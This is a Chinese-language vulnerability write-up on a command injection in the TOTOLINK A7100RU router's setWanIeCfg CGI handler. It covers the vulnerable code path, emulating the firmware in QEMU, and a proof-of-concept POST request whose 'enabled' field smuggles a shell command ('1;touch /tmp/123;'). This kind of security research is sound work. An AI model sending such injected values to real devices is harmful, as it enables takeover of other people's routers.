概述:
TOTOLINK A7100RU存在命令注入漏洞,该漏洞源于cgi-bin/cstecgi.cgi
的setWanIeCfg
函数enabled参数未能正确过滤构造命令特殊字符、命令等,攻击者可利用该漏洞在系统上执行任意命令。
固件:链接
漏洞:
漏洞出现在setWanIeCfg
函数中
程序通过获取enabled
中的参数传递给函数Uci_Set_Str_By_Idx
而在Uci_Set_Str_By_Idx
函数中,程序将该参数带入到Uci_Set_Str
函数中
之后通过snprintf
函数将参数拼接到v11
后并传入CsteSystem
函数中
在CsteSystem
函数中,会检查a1
是否为空,a1
为我们刚才传入的v11
,可以通过if判断
而我们传入的参数会被存储进v6
,进而导致任意命令执行
复现:
首先使用binwalk -Me
递归提取固件
然后进入到squashfs-root
目录下执行readelf -h ./bin/busybox
查看架构等相关信息
ELF 头:
Magic: 7f 45 4c 46 01 01 01 00 01 00 00 00 00 00 00 00
类别: ELF32
数据: 2 补码,小端序 (little endian)
Version: 1 (current)
OS/ABI: UNIX - System V
ABI 版本: 1
类型: EXEC (可执行文件)
系统架构: MIPS R3000
版本: 0x1
入口点地址: 0x404cf0
程序头起点: 52 (bytes into file)
Start of section headers: 0 (bytes into file)
标志: 0x70001005, noreorder, cpic, o32, mips32r2
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 7
Size of section headers: 0 (bytes)
Number of section headers: 0
Section header string table index: 0
确定为32位小端序mips以后,尝试使用user模式模拟固件
进入到squashfs-root
目录下,执行以下命令
cp $(which qemu-mipsel-static) . #将qemu-mipsel-static拷贝到当前目录
sudo chroot . ./qemu-misel-static ./usr/sbin/lighttpd -f ./etc/lighttpd/lighttpd.conf #-f 指定配置文件
然后报错
qemu: uncaught target signal 4 (Illegal instruction) - core dumped
非法指令
在一番搜索无果后改用system模式模拟,步骤如下
下载镜像和虚拟磁盘:
wget https://people.debian.org/~aurel32/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2 && wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta
安装网桥工具:
apt install bridge-utils uml-utilities
配置网络,建议写入文件保存,后续source就行了:
sudo brctl addbr virbr2 # 创建网桥
sudo ifconfig virbr2 192.168.122.1/24 up # 配置网桥IP
sudo tunctl -t tap2 # 添加虚拟网卡tap2
sudo ifconfig tap2 192.168.122.11/24 up # 配置虚拟网卡IP
sudo brctl addif virbr2 tap2 # 配置虚拟网卡与网桥连接
启动虚拟机
sudo qemu-system-mipsel \
-M malta \
-cpu 24KEc \
-m 1G \
-device virtio-rng-pci \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-netdev tap,id=tapnet,ifname=tap2,script=no \
-device rtl8139,netdev=tapnet \
-nographic
这时启动的是一个阉割版的debian,account/password : root/root
配置网络,scp命令上传路由器系统的软件包:
ifconfig eth0 192.168.122.15 up # 配置路由器IP,该命令虚拟机中执行
sudo scp -r squashfs-root/ root@192.168.122.15:/root/ # 拷贝路由器文件到虚拟机,host执行
挂载路由器系统并启动web服务:
chroot ./squashfs-root/ /bin/sh
/usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf # 启动路由器服务
挂载路由器系统 如果illegal instruction
,看这里
一般是cpu型号不兼容导致的,到qemu文档查找支持的cpu并在启动虚拟机一步中添加-cpu
相关参数
另外遇到缺失/var/run/lighttpd.pid
的话创建就行了
另外如果遇到SSL: not enough entropy in the pool
参考这里
但是当我添加了-device virtio-rng-pci
之后仍然出现该错误
最后只有找到./etc/lighttpd/lighttpd.conf
修改配置文件
找到ssl相关行,一开始我仅仅是将enable
改为disable
,最终还是报错
最后只有将相关行全部注释掉,才解决报错的问题
将上述修改过后的squashfs-root
目录重新传到虚拟机上并重新挂载启动服务成功
不过奇怪的是前端并没有任何显示,poc也打不通
8/8 update:
作者解压固件包含有web_cste
目录,本地测试并未发现此包,并且文件并未有poc中.asp
后缀
链接
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 66
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: SESSION_ID=2:1691415916:2
Host: 192.168.122.15
Origin: http://192.168.122.15
Proxy-Connection: keep-alive
Referer: http://192.168.122.15/basic/index.html
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
X-Requested-With: XMLHttpRequest
{"topicurl":"setWanIeCfg",
"enabled":"1;touch /tmp/123;"}